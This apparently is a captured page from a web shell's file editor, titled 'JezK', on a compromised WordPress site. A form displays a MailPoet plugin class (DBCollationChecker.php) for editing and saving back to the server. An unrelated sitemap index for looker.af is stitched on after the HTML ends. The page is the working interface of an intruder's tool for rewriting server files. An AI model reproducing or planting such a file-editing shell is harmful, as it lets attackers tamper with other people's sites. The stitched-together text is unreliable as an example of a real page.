
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: DBCollationChecker.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php declare(strict_types = 1);

namespace MailPoet\Util;

if (!defined(&#039;ABSPATH&#039;)) exit;


use MailPoetVendor\Doctrine\ORM\EntityManager;

class DBCollationChecker {

  /** @var EntityManager */
  private $entityManager;

  public function __construct(
    EntityManager $entityManager
  ) {
    $this-&gt;entityManager = $entityManager;
  }

  /**
   * If two columns have incompatible collations returns MySQL&#039;s COLLATE command to be used with the target table column.
   * e.g. WHERE source_table.column = target_table.column COLLATE xyz
   *
   * In MySQL, if you have the same charset and collation in joined tables&#039; columns it&#039;s perfect;
   * if you have different charsets, utf8 and utf8mb4, it works too; but if you have the same charset
   * with different collations, e.g. utf8mb4_unicode_ci and utf8mb4_unicode_520_ci, it will fail
   * with an &#039;Illegal mix of collations&#039; error.
   */
  public function getCollateIfNeeded(string $sourceTable, string $sourceColumn, string $targetTable, string $targetColumn): string {
    $connection = $this-&gt;entityManager-&gt;getConnection();
    $sourceColumnData = $connection-&gt;executeQuery(&quot;SHOW FULL COLUMNS FROM $sourceTable WHERE Field = &#039;$sourceColumn&#039;;&quot;)-&gt;fetchAllAssociative();
    $sourceCollation = $sourceColumnData[0][&#039;Collation&#039;] ?? &#039;&#039;;
    $targetColumnData = $connection-&gt;executeQuery(&quot;SHOW FULL COLUMNS FROM $targetTable WHERE Field = &#039;$targetColumn&#039;;&quot;)-&gt;fetchAllAssociative();
    $targetCollation = $targetColumnData[0][&#039;Collation&#039;] ?? &#039;&#039;;
    if ($sourceCollation === $targetCollation) {
      return &#039;&#039;;
    }
    list($sourceCharset) = explode(&#039;_&#039;, $sourceCollation);
    list($targetCharset) = explode(&#039;_&#039;, $targetCollation);
    if ($sourceCharset === $targetCharset) {
      return &quot;COLLATE $sourceCollation&quot;;
    }
    return &#039;&#039;;
  }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
